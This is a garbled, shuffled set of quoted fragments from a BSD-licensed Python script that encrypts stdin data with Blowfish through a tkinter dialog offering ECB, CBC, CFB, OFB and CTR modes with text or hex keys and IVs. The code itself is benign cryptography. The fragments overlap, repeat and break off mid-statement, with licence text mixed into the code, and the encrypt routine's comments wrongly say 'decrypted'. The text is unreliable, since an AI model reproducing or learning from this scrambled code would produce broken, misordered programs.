"DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,",
"blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode = cm.get()",
"!= Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV size must be %d bytes.\" %",
"# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT",
"(lambda r=root: r.quit())) label_mode = tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0, column=0, padx=5,",
"ei)) combo_iv_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type,",
"\"CBC\", \"CFB\", \"OFB\", \"CTR\") combo_mode.current(0) combo_mode.grid(row=0, column=1, padx=5, pady=5, sticky=\"w\")",
"ei)) button.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type,",
"= Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d = cipher.encrypt(data) except Exception as e:",
"or key_length > 56: tkinter.messagebox.showerror(\"Error:\", message=\"Key size must be in",
"e: tkinter.messagebox.showerror(\"Error:\", message=e) root.quit() exit(1) # Not decrypted sys.stdout.buffer.write(d) root.quit()",
"EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, #",
"cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) entry_key.bind(\"<Return>\",",
"HOLDERS AND CONTRIBUTORS \"AS # IS\" AND ANY EXPRESS OR",
"(\"Text\", \"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1, column=1, padx=5, pady=5) label_key = tkinter.Label(root,",
"# Not decrypted sys.stdout.buffer.write(d) root.quit() exit(0) # Decrypted successfully def",
"initial value of the counter (compatible with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4, column=0,",
"THE POSSIBILITY OF SUCH DAMAGE. import binascii import re import",
"height of the window ww = root.winfo_width() wh = root.winfo_height()",
"8) elif mode in [\"CBC\", \"OFB\"]: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode],",
"nonce and the last byte is used as initial_value (compatible",
"MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED.",
"decrypted sys.stdout.buffer.write(d) root.quit() exit(0) # Decrypted successfully def combo_mode_selected(root, cm,",
"if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and iv_type ==",
"< 4 or key_length > 56: tkinter.messagebox.showerror(\"Error:\", message=\"Key size must",
"Redistributions of source code must retain the above copyright notice,",
"the range from 4 bytes and 56 bytes.\") return try:",
"label_ctr.grid_remove() # Set callback functions combo_mode.bind('<<ComboboxSelected>>', lambda event, root=root, cm=combo_mode,",
"if mode == \"CTR\": lc.grid() else: lc.grid_remove() # Receive data",
"text=\"Key type:\") label_key_type.grid(row=1, column=0, padx=5, pady=5, sticky=\"w\") combo_key_type = tkinter.ttk.Combobox(root,",
"of conditions and the following disclaimer. # 2. Redistributions in",
"label_ctr = tkinter.Label(root, text=\"Note:\\nThe first seven bytes of IV are",
"label_key_type = tkinter.Label(root, text=\"Key type:\") label_key_type.grid(row=1, column=0, padx=5, pady=5, sticky=\"w\")",
"\"CBC\"]: data = Cryptodome.Util.Padding.pad(data, Cryptodome.Cipher.Blowfish.block_size) d = cipher.encrypt(data) except Exception",
"\"CTR\"] and iv_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv =",
"wh = root.winfo_height() root.geometry('+%d+%d' % ((sw/2) - (ww/2), (sh/2) -",
"% Cryptodome.Cipher.Blowfish.block_size) return key_length = len(key) if key_length < 4",
"OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,",
"GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; #",
"cit, ei, lc): mode = cm.get() if mode == \"ECB\":",
"# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT",
"or without # modification, are permitted provided that the following",
"Redistribution and use in source and binary forms, with or",
"source code must retain the above copyright notice, # this",
"the following disclaimer in the # documentation and/or other materials",
"LIABILITY, # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING",
"tkinter.Tk() root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root: r.quit())) label_mode = tkinter.Label(root,",
"installed # Print selected items def encrypt(data, root, cm, ckt,",
"bytes.\" % Cryptodome.Cipher.Blowfish.block_size) return key_length = len(key) if key_length <",
"tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0, column=0, padx=5, pady=5, sticky=\"w\") combo_mode = tkinter.ttk.Combobox(root,",
"is used as initial_value (compatible with CyberChef). cipher = Cryptodome.Cipher.Blowfish.new(key,",
"seven bytes of IV are used as nonce and the",
"ei)) combo_key_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type,",
"encrypt(data, root, cm, ckt, ek, cit, ei)) entry_key.bind(\"<Return>\", lambda event,",
"exit(-1) # PyCryptodome is not installed # Print selected items",
"# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,",
"\"OFB\"]: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv) elif mode == \"CTR\":",
"# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A",
"INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT",
"ckt, ek, cit, ei): blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB,",
"initial_value=iv[7]) else: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if mode in [\"ECB\",",
"root, cm, ckt, ek, cit, ei)) combo_iv_type.bind(\"<Return>\", lambda event, data=data,",
"Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if mode in [\"ECB\", \"CBC\"]: data = Cryptodome.Util.Padding.pad(data,",
"dialog root = tkinter.Tk() root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root: r.quit()))",
"# Blowfish encrypt - Encrypt selected region with Blowfish #",
"rights reserved. # # Redistribution and use in source and",
"the last one\\nbyte is used as the initial value of",
"binary form must reproduce the above copyright # notice, this",
"with CyberChef). cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7]) else: cipher",
"%d bytes.\" % Cryptodome.Cipher.Blowfish.block_size) return key_length = len(key) if key_length",
"ON ANY THEORY OF LIABILITY, # WHETHER IN CONTRACT, STRICT",
"= tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0, column=0, padx=5, pady=5, sticky=\"w\") combo_mode =",
"from 4 bytes and 56 bytes.\") return try: if mode",
"else: cit.configure(state = \"readonly\") ei.configure(state = \"normal\") if mode ==",
"else: key = key.encode() if mode in [\"CBC\", \"CFB\", \"OFB\",",
"ei.get() if key_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", key): key =",
"sticky=\"w\") combo_key_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_key_type[\"values\"] = (\"Text\", \"Hex\")",
"# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,",
"with the distribution. # # THIS SOFTWARE IS PROVIDED BY",
"data data = sys.stdin.buffer.read() # Create input dialog root =",
"root.winfo_height() root.geometry('+%d+%d' % ((sw/2) - (ww/2), (sh/2) - (wh/2))) root.mainloop()",
"sticky=\"w\") label_ctr.grid_remove() # Set callback functions combo_mode.bind('<<ComboboxSelected>>', lambda event, root=root,",
"return else: iv = iv.encode() if mode in [\"CBC\", \"CFB\",",
"padx=5, pady=5, sticky=\"w\") combo_key_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_key_type[\"values\"] =",
"IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR #",
"disclaimer in the # documentation and/or other materials provided with",
"not installed # Print selected items def encrypt(data, root, cm,",
"cm=combo_mode, cit=combo_iv_type, ei=entry_iv, lc=label_ctr: combo_mode_selected(root, cm, cit, ei, lc)) combo_mode.bind(\"<Return>\",",
"first seven bytes of IV are used as nonce and",
"root.winfo_width() wh = root.winfo_height() root.geometry('+%d+%d' % ((sw/2) - (ww/2), (sh/2)",
"= binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\", message=\"Key is not in hex format.\")",
"\"disabled\") else: cit.configure(state = \"readonly\") ei.configure(state = \"normal\") if mode",
"width and height of the window ww = root.winfo_width() wh",
"try: import Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding except ImportError: exit(-1) # PyCryptodome",
"= cm.get() if mode == \"ECB\": cit.configure(state = \"disabled\") ei.configure(state",
"above copyright # notice, this list of conditions and the",
"items def encrypt(data, root, cm, ckt, ek, cit, ei): blowfish_mode",
"be %d bytes.\" % Cryptodome.Cipher.Blowfish.block_size) return key_length = len(key) if",
"label_key_type.grid(row=1, column=0, padx=5, pady=5, sticky=\"w\") combo_key_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\")",
"56 bytes.\") return try: if mode == \"CFB\": cipher =",
"(INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY OUT",
"= key.encode() if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and",
"OF SUCH DAMAGE. import binascii import re import sys import",
"cm, ckt, ek, cit, ei)) combo_key_type.bind(\"<Return>\", lambda event, data=data, root=root,",
"4 or key_length > 56: tkinter.messagebox.showerror(\"Error:\", message=\"Key size must be",
"root=root, cm=combo_mode, cit=combo_iv_type, ei=entry_iv, lc=label_ctr: combo_mode_selected(root, cm, cit, ei, lc))",
"in source and binary forms, with or without # modification,",
"# ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import binascii",
"message=\"IV is not in hex format.\") return else: iv =",
"cm, cit, ei, lc)) combo_mode.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode,",
"type:\") label_key_type.grid(row=1, column=0, padx=5, pady=5, sticky=\"w\") combo_key_type = tkinter.ttk.Combobox(root, width=5,",
"AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED",
"permitted provided that the following conditions are met: # #",
"PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS # IS\"",
"padx=5, pady=5, sticky=\"w\") label_key_type = tkinter.Label(root, text=\"Key type:\") label_key_type.grid(row=1, column=0,",
"ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei))) button.grid(row=3, column=0,",
"must reproduce the above copyright # notice, this list of",
"# These are disabled in the initial state (ECB mode)",
"to get width and height of the window ww =",
"OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR",
"\"ECB\": cit.configure(state = \"disabled\") ei.configure(state = \"disabled\") else: cit.configure(state =",
"CONTRIBUTORS \"AS # IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,",
"column=0, padx=5, pady=5, sticky=\"w\") combo_iv_type = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_iv_type[\"values\"]",
"= Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv) elif mode == \"CTR\": # The",
"text=\"Mode:\") label_mode.grid(row=0, column=0, padx=5, pady=5, sticky=\"w\") combo_mode = tkinter.ttk.Combobox(root, width=5,",
"ek, cit, ei): blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR}",
"is not in hex format.\") return else: iv = iv.encode()",
"POSSIBILITY OF SUCH DAMAGE. import binascii import re import sys",
"this list of conditions and the following disclaimer. # 2.",
"bytes of IV are used as nonce and the last",
"padx=5, pady=5, sticky=\"w\") combo_mode = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_mode[\"values\"] =",
"NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY OUT OF",
"# 1. Redistributions of source code must retain the above",
"justify=\"left\") label_ctr.grid(row=4, column=0, padx=5, pady=5, columnspan=4, sticky=\"w\") label_ctr.grid_remove() # Set",
"use in source and binary forms, with or without #",
"column=0, padx=5, pady=5, sticky=\"w\") combo_mode = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_mode[\"values\"]",
"label_iv = tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2, column=2, padx=5, pady=5, sticky=\"w\") entry_iv",
"sh = root.winfo_screenheight() root.update_idletasks() # Necessary to get width and",
"lc.grid_remove() # Receive data data = sys.stdin.buffer.read() # Create input",
"elif mode in [\"CBC\", \"OFB\"]: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv)",
"EVENT SHALL THE COPYRIGHT HOLDER OR # CONTRIBUTORS BE LIABLE",
"ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES",
"ckt, ek, cit, ei)) button.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode,",
"bytes of IV are used as the nonce and the",
"state (ECB mode) combo_iv_type.configure(state = \"disabled\") entry_iv.configure(state = \"disabled\") #",
"re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv = binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\", message=\"IV is not",
"\"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode = cm.get() key_type = ckt.get() key = ek.get()",
"the # documentation and/or other materials provided with the distribution.",
"the nonce and the last one\\nbyte is used as the",
"and the last one\\nbyte is used as the initial value",
"width=5, state=\"readonly\") combo_mode[\"values\"] = (\"ECB\", \"CBC\", \"CFB\", \"OFB\", \"CTR\") combo_mode.current(0)",
"input dialog root = tkinter.Tk() root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\", (lambda r=root:",
"ckt, ek, cit, ei)) entry_iv.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode,",
"import Cryptodome.Util.Padding except ImportError: exit(-1) # PyCryptodome is not installed",
"SUCH DAMAGE. import binascii import re import sys import time",
"combo_key_type.current(0) combo_key_type.grid(row=1, column=1, padx=5, pady=5) label_key = tkinter.Label(root, text=\"Key:\") label_key.grid(row=1,",
"cm, ckt, ek, cit, ei))) button.grid(row=3, column=0, padx=5, pady=5, columnspan=4)",
"encrypt(data, root, cm, ckt, ek, cit, ei)) button.bind(\"<Return>\", lambda event,",
"# WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE",
"code must retain the above copyright notice, # this list",
"sticky=\"w\") button = tkinter.Button(root, text=\"OK\", command=(lambda data=data, root=root, cm=combo_mode, ckt=combo_key_type,",
"ei)) entry_key.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type,",
"message=\"IV size must be %d bytes.\" % Cryptodome.Cipher.Blowfish.block_size) return key_length",
"window position sw = root.winfo_screenwidth() sh = root.winfo_screenheight() root.update_idletasks() #",
"Necessary to get width and height of the window ww",
"mode == \"CTR\": # The first seven bytes of IV",
"re.match(\"^([0-9A-Fa-f]{2})+$\", key): key = binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\", message=\"Key is not",
"with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4, column=0, padx=5, pady=5, columnspan=4, sticky=\"w\") label_ctr.grid_remove() #",
"cit, ei)) button.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key,",
"[\"CBC\", \"OFB\"]: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv) elif mode ==",
"# Create input dialog root = tkinter.Tk() root.title(\"Blowfish encrypt\") root.protocol(\"WM_DELETE_WINDOW\",",
"import tkinter.messagebox try: import Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding except ImportError: exit(-1)",
"as the initial value of the counter (compatible with\\nCyberChef).\", justify=\"left\")",
"selected items def encrypt(data, root, cm, ckt, ek, cit, ei):",
"r=root: r.quit())) label_mode = tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0, column=0, padx=5, pady=5,",
"lc=label_ctr: combo_mode_selected(root, cm, cit, ei, lc)) combo_mode.bind(\"<Return>\", lambda event, data=data,",
"cm, cit, ei, lc): mode = cm.get() if mode ==",
"padx=5, pady=5) label_key = tkinter.Label(root, text=\"Key:\") label_key.grid(row=1, column=2, padx=5, pady=5,",
"combo_key_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv:",
"event, root=root, cm=combo_mode, cit=combo_iv_type, ei=entry_iv, lc=label_ctr: combo_mode_selected(root, cm, cit, ei,",
"key = binascii.a2b_hex(key) else: tkinter.messagebox.showerror(\"Error:\", message=\"Key is not in hex",
"iv = iv.encode() if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"]",
"column=2, padx=5, pady=5, sticky=\"w\") entry_iv = tkinter.Entry(width=32) entry_iv.grid(row=2, column=3, padx=5,",
"try: if mode == \"CFB\": cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], iv,",
"= root.winfo_height() root.geometry('+%d+%d' % ((sw/2) - (ww/2), (sh/2) - (wh/2)))",
"import binascii import re import sys import time import tkinter",
"if key_length < 4 or key_length > 56: tkinter.messagebox.showerror(\"Error:\", message=\"Key",
"time import tkinter import tkinter.ttk import tkinter.messagebox try: import Cryptodome.Cipher.Blowfish",
"button = tkinter.Button(root, text=\"OK\", command=(lambda data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key,",
"BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS # IS\" AND",
"iv_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv = binascii.a2b_hex(iv) else:",
"combo_mode.bind('<<ComboboxSelected>>', lambda event, root=root, cm=combo_mode, cit=combo_iv_type, ei=entry_iv, lc=label_ctr: combo_mode_selected(root, cm,",
"nonce and the last one\\nbyte is used as the initial",
"lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data,",
"with or without # modification, are permitted provided that the",
"in hex format.\") return else: key = key.encode() if mode",
"iv) elif mode == \"CTR\": # The first seven bytes",
"of IV are used as nonce and the last byte",
"# Necessary to get width and height of the window",
"CAUSED AND ON ANY THEORY OF LIABILITY, # WHETHER IN",
"column=1, padx=5, pady=5, sticky=\"w\") label_key_type = tkinter.Label(root, text=\"Key type:\") label_key_type.grid(row=1,",
"distribution. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT",
"tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_mode[\"values\"] = (\"ECB\", \"CBC\", \"CFB\", \"OFB\", \"CTR\")",
"ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit,",
"ek, cit, ei)) # These are disabled in the initial",
"OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE",
"if re.match(\"^([0-9A-Fa-f]{2})+$\", iv): iv = binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\", message=\"IV is",
"return key_length = len(key) if key_length < 4 or key_length",
"[\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and iv_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\",",
"except Exception as e: tkinter.messagebox.showerror(\"Error:\", message=e) root.quit() exit(1) # Not",
"tkinter.ttk import tkinter.messagebox try: import Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding except ImportError:",
"columnspan=4) label_ctr = tkinter.Label(root, text=\"Note:\\nThe first seven bytes of IV",
"cm, ckt, ek, cit, ei): blowfish_mode = {\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB,",
"BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,",
"must be %d bytes.\" % Cryptodome.Cipher.Blowfish.block_size) return key_length = len(key)",
"mode == \"CTR\": lc.grid() else: lc.grid_remove() # Receive data data",
"command=(lambda data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key, cit=combo_iv_type, ei=entry_iv: encrypt(data, root,",
"is not installed # Print selected items def encrypt(data, root,",
"root, cm, ckt, ek, cit, ei)) button.bind(\"<Return>\", lambda event, data=data,",
"ek.get() iv_type = cit.get() iv = ei.get() if key_type ==",
"Blowfish # # Copyright (c) 2019, <NAME> # All rights",
"SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY OF SUCH",
"combo_mode.grid(row=0, column=1, padx=5, pady=5, sticky=\"w\") label_key_type = tkinter.Label(root, text=\"Key type:\")",
"tkinter import tkinter.ttk import tkinter.messagebox try: import Cryptodome.Cipher.Blowfish import Cryptodome.Util.Padding",
"{\"ECB\":Cryptodome.Cipher.Blowfish.MODE_ECB, \"CBC\":Cryptodome.Cipher.Blowfish.MODE_CBC, \"CFB\":Cryptodome.Cipher.Blowfish.MODE_CFB, \"OFB\":Cryptodome.Cipher.Blowfish.MODE_OFB, \"CTR\":Cryptodome.Cipher.Blowfish.MODE_CTR} mode = cm.get() key_type =",
"sticky=\"w\") entry_iv = tkinter.Entry(width=32) entry_iv.grid(row=2, column=3, padx=5, pady=5, sticky=\"w\") button",
"ww = root.winfo_width() wh = root.winfo_height() root.geometry('+%d+%d' % ((sw/2) -",
"CyberChef). cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7]) else: cipher =",
"USE OF THIS SOFTWARE, EVEN IF # ADVISED OF THE",
"mode) combo_iv_type.configure(state = \"disabled\") entry_iv.configure(state = \"disabled\") # Adjust window",
"else: tkinter.messagebox.showerror(\"Error:\", message=\"IV is not in hex format.\") return else:",
"format.\") return else: key = key.encode() if mode in [\"CBC\",",
"IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT",
"pady=5, columnspan=4) label_ctr = tkinter.Label(root, text=\"Note:\\nThe first seven bytes of",
"= sys.stdin.buffer.read() # Create input dialog root = tkinter.Tk() root.title(\"Blowfish",
"# The first seven bytes of IV are used as",
"pady=5, sticky=\"w\") combo_mode = tkinter.ttk.Combobox(root, width=5, state=\"readonly\") combo_mode[\"values\"] = (\"ECB\",",
"in the initial state (ECB mode) combo_iv_type.configure(state = \"disabled\") entry_iv.configure(state",
"pady=5) label_key = tkinter.Label(root, text=\"Key:\") label_key.grid(row=1, column=2, padx=5, pady=5, sticky=\"w\")",
"encrypt(data, root, cm, ckt, ek, cit, ei)) entry_iv.bind(\"<Return>\", lambda event,",
"= iv.encode() if mode in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and",
"\"disabled\") # Adjust window position sw = root.winfo_screenwidth() sh =",
"\"CTR\"] and len(iv) != Cryptodome.Cipher.Blowfish.block_size: tkinter.messagebox.showerror(\"Error:\", message=\"IV size must be",
"in [\"CBC\", \"CFB\", \"OFB\", \"CTR\"] and iv_type == \"Hex\": if",
"WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR",
"SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED",
"BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR",
"message=\"Key is not in hex format.\") return else: key =",
"binascii.a2b_hex(iv) else: tkinter.messagebox.showerror(\"Error:\", message=\"IV is not in hex format.\") return",
"the last byte is used as initial_value (compatible with CyberChef).",
"ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei)) combo_iv_type.bind(\"<Return>\", lambda",
"else: iv = iv.encode() if mode in [\"CBC\", \"CFB\", \"OFB\",",
"\"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1, column=1, padx=5, pady=5) label_key = tkinter.Label(root, text=\"Key:\")",
"and use in source and binary forms, with or without",
"sys.stdout.buffer.write(d) root.quit() exit(0) # Decrypted successfully def combo_mode_selected(root, cm, cit,",
"label_key = tkinter.Label(root, text=\"Key:\") label_key.grid(row=1, column=2, padx=5, pady=5, sticky=\"w\") entry_key",
"first seven bytes of IV are used as the nonce",
"Focus to this widget label_iv_type = tkinter.Label(root, text=\"IV type:\") label_iv_type.grid(row=2,",
"COPYRIGHT HOLDER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT,",
"== \"CTR\": # The first seven bytes of IV are",
"value of the counter (compatible with\\nCyberChef).\", justify=\"left\") label_ctr.grid(row=4, column=0, padx=5,",
"not in hex format.\") return else: key = key.encode() if",
"r.quit())) label_mode = tkinter.Label(root, text=\"Mode:\") label_mode.grid(row=0, column=0, padx=5, pady=5, sticky=\"w\")",
"sys import time import tkinter import tkinter.ttk import tkinter.messagebox try:",
"cit, ei)) combo_iv_type.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode, ckt=combo_key_type, ek=entry_key,",
"\"CTR\": # The first seven bytes of IV are used",
"state=\"readonly\") combo_iv_type[\"values\"] = (\"Text\", \"Hex\") combo_iv_type.current(0) combo_iv_type.grid(row=2, column=1, padx=5, pady=5)",
"ckt, ek, cit, ei)) entry_key.bind(\"<Return>\", lambda event, data=data, root=root, cm=combo_mode,",
"size must be %d bytes.\" % Cryptodome.Cipher.Blowfish.block_size) return key_length =",
"binascii import re import sys import time import tkinter import",
"TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING IN ANY WAY",
"import time import tkinter import tkinter.ttk import tkinter.messagebox try: import",
"cit=combo_iv_type, ei=entry_iv: encrypt(data, root, cm, ckt, ek, cit, ei))) button.grid(row=3,",
"THIS SOFTWARE, EVEN IF # ADVISED OF THE POSSIBILITY OF",
"# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,",
"are met: # # 1. Redistributions of source code must",
"blowfish_mode[mode], nonce=iv[0:7], initial_value=iv[7]) else: cipher = Cryptodome.Cipher.Blowfish.new(key, blowfish_mode[mode]) if mode",
"text=\"IV type:\") label_iv_type.grid(row=2, column=0, padx=5, pady=5, sticky=\"w\") combo_iv_type = tkinter.ttk.Combobox(root,",
"root, cm, ckt, ek, cit, ei)) combo_key_type.bind(\"<Return>\", lambda event, data=data,",
"pady=5, sticky=\"w\") entry_iv = tkinter.Entry(width=32) entry_iv.grid(row=2, column=3, padx=5, pady=5, sticky=\"w\")",
"cit=combo_iv_type, ei=entry_iv, lc=label_ctr: combo_mode_selected(root, cm, cit, ei, lc)) combo_mode.bind(\"<Return>\", lambda",
"encrypt(data, root, cm, ckt, ek, cit, ei))) button.grid(row=3, column=0, padx=5,",
"STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR # OTHERWISE) ARISING",
"padx=5, pady=5, sticky=\"w\") entry_key = tkinter.Entry(width=32) entry_key.grid(row=1, column=3, padx=5, pady=5,",
"AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN",
"= ei.get() if key_type == \"Hex\": if re.match(\"^([0-9A-Fa-f]{2})+$\", key): key",
"with Blowfish # # Copyright (c) 2019, <NAME> # All",
"= tkinter.Label(root, text=\"Key:\") label_key.grid(row=1, column=2, padx=5, pady=5, sticky=\"w\") entry_key =",
"combo_mode[\"values\"] = (\"ECB\", \"CBC\", \"CFB\", \"OFB\", \"CTR\") combo_mode.current(0) combo_mode.grid(row=0, column=1,",
"PyCryptodome is not installed # Print selected items def encrypt(data,",
"EVEN IF # ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.",
"key_length = len(key) if key_length < 4 or key_length >",
"segment_size=Cryptodome.Cipher.Blowfish.block_size * 8) elif mode in [\"CBC\", \"OFB\"]: cipher =",
"forms, with or without # modification, are permitted provided that",
"padx=5, pady=5) label_iv = tkinter.Label(root, text=\"IV:\") label_iv.grid(row=2, column=2, padx=5, pady=5,",
"TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR",
"binary forms, with or without # modification, are permitted provided",
"and/or other materials provided with the distribution. # # THIS",
"import tkinter import tkinter.ttk import tkinter.messagebox try: import Cryptodome.Cipher.Blowfish import",
"copyright # notice, this list of conditions and the following",
"as e: tkinter.messagebox.showerror(\"Error:\", message=e) root.quit() exit(1) # Not decrypted sys.stdout.buffer.write(d)",
"state=\"readonly\") combo_key_type[\"values\"] = (\"Text\", \"Hex\") combo_key_type.current(0) combo_key_type.grid(row=1, column=1, padx=5, pady=5)",
"= tkinter.Label(root, text=\"Note:\\nThe first seven bytes of IV are used",
